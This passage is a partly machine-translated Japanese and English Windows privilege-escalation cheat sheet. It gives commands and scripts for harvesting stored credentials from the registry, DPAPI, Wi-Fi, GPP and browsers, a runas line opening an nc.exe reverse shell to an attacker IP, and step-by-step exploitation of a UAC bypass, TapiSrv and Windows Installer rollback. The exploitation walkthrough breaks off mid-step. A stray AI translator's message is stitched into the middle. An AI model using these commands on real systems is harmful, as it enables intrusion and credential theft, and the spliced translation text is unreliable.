フォルダ C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 内で WSL のファイルシステムを参照できます。

Windows 資格情報

Winlogon 資格情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

資格情報マネージャ / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
The Windows Vault stores user credentials for servers, websites and other programs that Windows can ユーザーを自動的にログインさせる。At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.

Windows Vault stores credentials that Windows can log in the users automatically, which means that any リソースにアクセスするために資格情報を必要とするWindowsアプリケーション (server or a website) このCredential Managerを利用できる & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.

Unless the applications interact with Credential Manager, I don’t think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow credential managerと通信してそのリソースの資格情報を要求する from the default storage vault.

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資格情報を使用するために、/savecred オプション付きで runas を使用できます。以下の例は SMB share 経由でリモート binary を呼び出しています。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

提供された資格情報を使用して runas を実行する。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz、lazagne、credentialfileview、VaultPasswordView、またはEmpire Powershells module を使用することに注意してください。

DPAPI

Data Protection API (DPAPI) はデータの対称暗号化の手段を提供し、主に Windows オペレーティングシステム内で非対称の秘密鍵を対称的に暗号化するために使用されます。この暗号化は、ユーザーまたはシステムのシークレットを利用してエントロピーに大きく寄与します。

DPAPI は、ユーザーのログインシークレットから導出された対称鍵を介して鍵を暗号化できるようにします。システム暗号化の場合は、システムのドメイン認証シークレットを利用します。

DPAPI を使用して暗号化されたユーザーの RSA 鍵は、%APPDATA%\Microsoft\Protect\{SID} ディレクトリに保存されます。ここで {SID} はユーザーの Security Identifier を表します。DPAPI キーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに共置されており、 通常は 64 バイトのランダムデータで構成されます。（このディレクトリへのアクセスは制限されており、CMD の dir コマンドでは内容を一覧表示できませんが、PowerShell では一覧表示可能です。）

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

適切な引数（/pvk または /rpc）を指定して、mimikatz module dpapi::masterkey を使用すると復号できます。

credentials files protected by the master password は通常次の場所にあります:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

適切な /masterkey を指定して、mimikatz module dpapi::cred を使って復号できます。\

DPAPI - Extracting Passwords

PowerShell 資格情報

PowerShell credentials は暗号化された資格情報を便利に保存する手段として、scripting や自動化タスクでよく使われます。資格情報は DPAPI により保護されており、通常は作成されたのと同じユーザーが同じコンピューター上でしか復号できません。

多くの DPAPI masterkeys を メモリ から sekurlsa::dpapi モジュールで抽出できます（root の場合）。

ファイルに含まれる PS credentials を 復号 するには、次のようにします：

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存された RDP 接続

それらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\

最近実行したコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップ資格情報マネージャー

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ 適切な /masterkeyを指定して **Mimikatz** のdpapi::rdg` モジュールを使用し、任意の .rdg ファイルを 復号 します\

You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
Mimikatz sekurlsa::dpapi モジュールでメモリから多くの DPAPI masterkeys を抽出できます

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.
Windows のワークステーションで StickyNotes アプリを使用して、データベースファイルであることに気づかずにパスワードを保存したりその他の情報を記録したりしていることがよくあります。
このファイルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、常に検索して調査する価値があります。

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe は管理者権限で High Integrity レベルで実行する必要がある点に注意してください。
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
AppCmd.exe は %systemroot%\system32\inetsrv\ ディレクトリにあります。
If this file exists then it is possible that some credentials have been configured and can be recovered.
このファイルが存在する場合、いくつかの credentials が設定されており recovered できる可能性があります。

This code was extracted from PowerUP:
このコードは PowerUP から抽出されました：

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存在するか確認する。
インストーラーは run with SYSTEM privileges, 多くは DLL Sideloading (Info from https://github.com/enjoiz/Privesc). に脆弱です。

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリ（Credentials）

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys はレジストリキー HKCU\Software\OpenSSH\Agent\Keys に格納されていることがあるため、そこに興味深いものがないか確認してください:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

もしそのパス内でエントリを見つけた場合、おそらく保存された SSH key です。暗号化された状態で保存されていますが、https://github.com/ropnop/windows_sshagent_extract を使用すれば簡単に復号できます。
この手法の詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

もし ssh-agent service が動作しておらず、起動時に自動的に開始させたい場合は次を実行してください:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

この手法はもはや有効でないようです。ssh キーを作成して ssh-add で追加し、ssh でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証中に dpapi.dll の使用を検出しませんでした。

無人ファイル

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

これらのファイルは metasploit を使って検索することもできます: post/windows/gather/enum_unattend

例の内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM のバックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラウド認証情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

ファイル SiteList.xml を検索する

Cached GPP パスワード

以前、Group Policy Preferences (GPP) を使用して複数のマシンにカスタムのローカル管理者アカウントを配布できる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。第一に、SYSVOL に XML ファイルとして保存される Group Policy Objects (GPOs) は、任意のドメインユーザーがアクセスできました。第二に、これらの GPP 内のパスワードは公開されているデフォルトキーを用いて AES256 で暗号化されていましたが、認証済みユーザーであれば復号できました。これにより権限昇格が可能になるなど深刻なリスクが生じました。

このリスクを軽減するため、“cpassword” フィールドが空でないローカルにキャッシュされた GPP ファイルをスキャンする関数が作成されました。該当するファイルを見つけると、その関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細とファイルの場所が含まれており、脆弱性の特定と修復に役立ちます。

次の場所で以下のファイルを検索する: C:\ProgramData\Microsoft\Group Policy\history または C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history（W Vista より前）:

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

cPassword を復号するには：

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexecを使ってパスワードを取得する:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS の Web 設定

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

credentials を含む web.config の例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN 認証情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentialsを尋ねる

もしそのユーザーが知っている可能性があると思えば、いつでもユーザーに自身のcredentials、あるいは別のユーザーのcredentialsを入力するよう頼むことができます（ただし、クライアントに直接credentialsを尋ねるのは非常にリスキーである点に注意してください）：

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

credentials を含む可能性のあるファイル名

過去に passwords が clear-text または Base64 で含まれていた既知のファイル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don’t have access to your repository or files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of “proposed files” you want searched) here, and I will translate the English text to Japanese while preserving markdown/html tags, links, paths and code exactly as requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin内の認証情報

Bin も確認して、その中に認証情報がないか探すべきです。

複数のプログラムによって保存されたパスワードを復元するには、次を使用できます: http://www.nirsoft.net/password_recovery_tools.html

レジストリ内

認証情報を含む可能性のあるその他のレジストリキー

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

ブラウザ履歴

passwords が保存されている Chrome or Firefox の dbs を確認してください.
また、ブラウザの履歴、ブックマーク、およびお気に入りを確認し、そこに passwords are 保存されていないか確認してください。

Tools to extract passwords from browsers:

• Mimikatz: dpapi::chrome
• SharpWeb
• SharpChromium
• SharpDPAPI

COM DLL Overwriting

Component Object Model (COM) は、Windows オペレーティングシステムに組み込まれた技術で、異なる言語で書かれたソフトウェアコンポーネント間の相互通信を可能にします。各 COM コンポーネントは class ID (CLSID) で識別され、各コンポーネントは 1 つ以上のインターフェイスを通じて機能を公開し、それらは interface IDs (IIDs) で識別されます。

COM クラスとインターフェイスは、それぞれ HKEY\CLASSES\ROOT\CLSID および HKEY\CLASSES\ROOT\Interface の下のレジストリに定義されています。このレジストリは HKEY\LOCAL\MACHINE\Software\Classes と HKEY\CURRENT\USER\Software\Classes をマージして作られたものです（= HKEY\CLASSES\ROOT）。

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

基本的に、実行される DLL のいずれかを上書きできれば、その DLL が別のユーザによって実行される場合に escalate privileges することができます。

攻撃者が COM Hijacking を永続化メカニズムとしてどのように利用するかを学ぶには、以下を参照してください:

COM Hijacking

Generic Password search in files and registry

ファイルの内容を検索する

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファイル名を持つファイルを検索する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリでキー名とパスワードを検索する

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

passwords を検索するツール

MSF-Credentials Plugin is a msf プラグインです。私はこのプラグインを、被害者内で automatically execute every metasploit POST module that searches for credentials するために作成しました。
Winpeas はこのページで言及されている passwords を含むすべてのファイルを自動的に検索します。
Lazagne はシステムから password を抽出するもうひとつの優れたツールです。

このツール SessionGopher は、このデータを平文で保存するいくつかのツール（PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP）の sessions, usernames と passwords を検索します。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

共有メモリセグメント、所謂pipesは、プロセス間通信とデータ転送を可能にします。

WindowsはNamed Pipesという機能を提供しており、関連のないプロセス間でも、異なるネットワーク上でさえデータを共有できます。これはクライアント/サーバーアーキテクチャに似ており、役割はnamed pipe serverとnamed pipe clientとして定義されます。

クライアントがパイプ経由でデータを送信すると、パイプを設定したserverは、必要なSeImpersonate権限を持っている場合にそのclientのtake on the identityを行う能力を持ちます。パイプ経由で通信するprivileged processを特定し、それを模倣できる場合、あなたが作成したパイプと相互作用した際にそのプロセスのアイデンティティを引き継ぐことでgain higher privilegesする機会が得られます。この種の攻撃を実行する手順については、hereおよびhereのガイドが参考になります。

また、以下のツールはintercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:

• ClientAttach with pszDomainUser set to a writable existing path → the service opens it via CreateFileW(..., OPEN_EXISTING) and uses it for async event writes.
• Each event writes the attacker-controlled InitContext from Initialize to that handle. Register a line app with LRegisterRequestRecipient (Req_Func 61), trigger TRequestMakeCall (Req_Func 121), fetch via GetAsyncEvents (Req_Func 0), then unregister/shutdown to repeat deterministic writes.
• Add yourself to [TapiAdministrators] in C:\\Windows\\TAPI\\tsec.ini, reconnect, then call GetUIDllName with an arbitrary DLL path to execute TSPI_providerUIIdentify as NETWORK SERVICE.

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

このページを確認してください https://filesec.io/

Monitoring Command Lines for passwords

ユーザーとしてシェルを取得した場合、スケジュールされたタスクやその他のプロセスが実行され、その中でpass credentials on the command lineすることがあります。下記のスクリプトは2秒ごとにプロセスのコマンドラインを取得し、現在の状態と前の状態を比較して差分を出力します。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

プロセスからのパスワード窃取

Low Priv User から NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC Bypass

グラフィカルインターフェース（console や RDP 経由）にアクセスでき、UAC が有効な場合、Microsoft Windows の一部のバージョンでは、権限の低いユーザーから “NT\AUTHORITY SYSTEM” のようなターミナルやその他のプロセスを実行することが可能です。

これにより、同じ脆弱性を利用して権限昇格と UAC のバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft により署名・発行されています。

影響を受けるシステムの一部は以下のとおりです：

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆弱性を悪用するには、次の手順を実行する必要があります:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

この手法は、このブログ投稿で説明されており、エクスプロイトコードはここで入手可能です。

攻撃は基本的に、Windows Installer の rollback 機能を悪用して、アンインストール中に正当なファイルを悪意あるファイルに置き換えることにあります。これには、攻撃者が C:\Config.Msi フォルダをハイジャックするための 悪意のある MSI インストーラー を作成する必要があり、後に Windows Installer が他の MSI パッケージのアンインストール中に rollback ファイルを保存する際に、これらの rollback ファイルが悪意あるペイロードを含むように変更されます。

要約すると、手順は次のとおりです。

1. Stage 1 – Hijack の準備（C:\Config.Msi を空にしておく）

• Step 1: Install the MSI

• 書き込み可能なフォルダ（TARGETDIR）に無害なファイル（例: dummy.txt）をインストールする .msi を作成します。

• インストーラーを “UAC Compliant” にマークし、非管理者ユーザー が実行できるようにします。

• インストール後にファイルへの handle を開いたままにします。

• Step 2: Begin Uninstall

• 同じ .msi をアンインストールします。

• アンインストール処理はファイルを C:\Config.Msi に移動し、.rbf ファイルにリネームして rollback バックアップを作成します。

• ファイルが C:\Config.Msi\<random>.rbf になったことを検出するために、GetFinalPathNameByHandle を使って開いているファイルハンドルをポーリングします。

• Step 3: Custom Syncing

• .msi には次のような カスタムアンインストールアクション（SyncOnRbfWritten） が含まれます:

• .rbf が書き込まれたときにシグナルを送る。

• その後、アンインストールを続行する前に別のイベントを待機します。

• Step 4: Block Deletion of .rbf

• シグナルを受けたら、FILE_SHARE_DELETE なしで .rbf ファイルを開く — これによりそのファイルの削除を防止します。

• その後、アンインストールを完了させるために シグナルを戻す。

• Windows Installer は .rbf を削除できず、すべての内容を削除できないため、C:\Config.Msi は削除されません。

• Step 5: Manually Delete .rbf

• 攻撃者は .rbf ファイルを手動で削除します。

• これで C:\Config.Msi は空 になり、ハイジャックできる状態になります。

この時点で、SYSTEM レベルの任意フォルダ削除脆弱性をトリガーして C:\Config.Msi を削除してください。

2. Stage 2 – Rollback スクリプトを悪意あるものに置き換える

• Step 6: Recreate C:\Config.Msi with Weak ACLs

• 自分で C:\Config.Msi フォルダを再作成します。

• 弱い DACL（例: Everyone:F）を設定し、WRITE_DAC を持つ handle を開いたままにします。

• Step 7: Run Another Install

• 再度 .msi をインストールします。設定は次のとおり:

• TARGETDIR: 書き込み可能な場所。

• ERROROUT: 強制失敗を引き起こす変数。

• このインストールは再度 rollback をトリガーするために使用され、.rbs と .rbf を読み込みます。

• Step 8: Monitor for .rbs

• ReadDirectoryChangesW を使って C:\Config.Msi を監視し、新しい .rbs が現れるまで待ちます。

• そのファイル名を取得します。

• Step 9: Sync Before Rollback

• .msi には カスタムインストールアクション（SyncBeforeRollback） が含まれており:

• .rbs が作成されたときにイベントをシグナルします。

• その後、続行する前に待機します。

• Step 10: Reapply Weak ACL

• .rbs created イベントを受け取った後:

• Windows Installer は C:\Config.Msi に強い ACL を再適用します。

• しかし、あなたはまだ WRITE_DAC を持つハンドルを持っているため、再び弱い ACL を再適用できます。

ACL はハンドルを開いたときにのみ適用されるため、フォルダに書き込みが可能なままです。

• Step 11: Drop Fake .rbs and .rbf

• .rbs ファイルを上書きして、Windows に次を指示する偽の rollback スクリプトを配置します:

